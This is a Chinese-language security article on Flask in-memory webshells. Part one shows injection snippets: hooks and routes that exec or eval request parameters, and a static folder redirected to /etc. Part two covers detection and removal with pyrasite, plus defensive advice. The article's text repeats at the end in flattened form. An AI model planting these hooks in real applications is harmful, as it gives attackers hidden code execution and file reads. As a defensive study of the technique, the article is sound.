Flask内存马各种姿势与查杀
字数 1012 2025-08-30 06:50:11

Flask内存马攻击与防御技术详解

一、Flask内存马攻击技术

1.1 内存马基本原理

Flask内存马是通过动态代码注入的方式存在于内存中,利用Flask应用的生命周期和钩子函数来隐藏自身行为的恶意代码。与传统的文件型Webshell不同,内存马不依赖磁盘文件,更难被传统安全防护手段检测。

1.2 高版本Flask内存马注入技术

1.2.1 通过app.view_functions注入

在高版本Flask中,add_url_rule方法被@setupmethod装饰器保护,该装饰器会先调用app._check_setup_finished。因此需要:

app._got_first_request = False  # 解除setup限制

然后可以通过以下方式添加恶意路由:

app.add_url_rule('/malicious', 'malicious_endpoint', malicious_func)

或者直接操作view_functions字典:

app.view_functions['malicious_endpoint'] = malicious_func

1.2.2 通过请求钩子注入

Flask提供了多种请求钩子,可用于注入恶意代码:

  • before_request:

    @app.before_request
    def malicious_before():
        if request.path == '/trigger':
            exec(request.args.get('cmd'))
    
  • after_request:

    @app.after_request
    def malicious_after(response):
        if 'malicious' in request.cookies:
            response.set_data('Hacked')
        return response
    
  • error_handler:

    @app.errorhandler(404)
    def malicious_error(e):
        if request.args.get('cmd'):
            return str(eval(request.args.get('cmd')))
        return e
    

1.2.3 其他注入点

  • teardown_request: 虽然无回显,但可执行恶意操作
  • 重写核心函数: 重写每次请求都会执行的函数
  • 修改Response类: 更改响应行为

1.3 高级技巧

  • 劫持静态文件路由:

    app.static_folder = '/etc'  # 可读取任意文件
    
  • 使用_method_route:

    @app.route("/malicious", methods=['PATCH', 'PUT'])
    def malicious_route():
        pass
    

二、Flask内存马查杀技术

2.1 查杀工具准备

推荐使用pyrasite工具进行运行时分析:

git clone https://github.com/pyrasite/pyrasite
cd pyrasite
pip install .

2.2 查杀步骤

2.2.1 定位Flask进程

ps aux | grep python
# 或
ps aux | grep app.py

假设找到的PID为8。

2.2.2 注入交互式Shell

pyrasite-shell 8

2.2.3 分析Flask应用对象

在注入的Shell中:

# 查找应用对象
app = [v for v in globals().values() if isinstance(v, Flask)][0]

# 检查路由
print(app.url_map)

# 检查视图函数
print(app.view_functions)

# 检查before_request钩子
print(app.before_request_funcs)

# 检查after_request钩子
print(app.after_request_funcs)

# 检查错误处理器
print(app.error_handler_spec)

2.2.4 深度分析可疑函数

import dis

# 反汇编可疑函数
dis.dis(app.view_functions['malicious_endpoint'])

# 检查函数源码
import inspect
print(inspect.getsource(app.view_functions['malicious_endpoint']))

2.3 清除恶意代码

# 删除恶意路由
del app.view_functions['malicious_endpoint']

# 清除before_request钩子
app.before_request_funcs = {}

# 清除after_request钩子
app.after_request_funcs = {}

# 重置错误处理器
app.error_handler_spec = {}

三、防御建议

  1. 代码审计: 定期检查Flask应用代码,特别是动态路由和钩子函数
  2. 进程监控: 监控Python进程的异常行为
  3. 最小权限: Flask应用以最小必要权限运行
  4. 依赖安全: 保持Flask及其依赖库的最新版本
  5. 运行时保护: 使用RASP(运行时应用自我保护)技术
  6. 日志审计: 详细记录所有请求和异常

四、实用工具

  • PyMemShell: Python内存马管理工具

    git clone https://github.com/orzchen/PyMemShell
    
  • Flask-Unsign: 检测Flask会话伪造

  • Werkzeug Debugger Pin: 确保调试器安全

通过以上技术和方法,可以有效检测和防御Flask内存马攻击,保障Web应用安全。

Flask内存马攻击与防御技术详解 一、Flask内存马攻击技术 1.1 内存马基本原理 Flask内存马是通过动态代码注入的方式存在于内存中,利用Flask应用的生命周期和钩子函数来隐藏自身行为的恶意代码。与传统的文件型Webshell不同,内存马不依赖磁盘文件,更难被传统安全防护手段检测。 1.2 高版本Flask内存马注入技术 1.2.1 通过 app.view_functions 注入 在高版本Flask中, add_url_rule 方法被 @setupmethod 装饰器保护,该装饰器会先调用 app._check_setup_finished 。因此需要: 然后可以通过以下方式添加恶意路由: 或者直接操作 view_functions 字典: 1.2.2 通过请求钩子注入 Flask提供了多种请求钩子,可用于注入恶意代码: before_ request : after_ request : error_ handler : 1.2.3 其他注入点 teardown_ request : 虽然无回显,但可执行恶意操作 重写核心函数 : 重写每次请求都会执行的函数 修改Response类 : 更改响应行为 1.3 高级技巧 劫持静态文件路由 : 使用_ method_ route : 二、Flask内存马查杀技术 2.1 查杀工具准备 推荐使用 pyrasite 工具进行运行时分析: 2.2 查杀步骤 2.2.1 定位Flask进程 假设找到的PID为8。 2.2.2 注入交互式Shell 2.2.3 分析Flask应用对象 在注入的Shell中: 2.2.4 深度分析可疑函数 2.3 清除恶意代码 三、防御建议 代码审计 : 定期检查Flask应用代码,特别是动态路由和钩子函数 进程监控 : 监控Python进程的异常行为 最小权限 : Flask应用以最小必要权限运行 依赖安全 : 保持Flask及其依赖库的最新版本 运行时保护 : 使用RASP(运行时应用自我保护)技术 日志审计 : 详细记录所有请求和异常 四、实用工具 PyMemShell : Python内存马管理工具 Flask-Unsign : 检测Flask会话伪造 Werkzeug Debugger Pin : 确保调试器安全 通过以上技术和方法,可以有效检测和防御Flask内存马攻击,保障Web应用安全。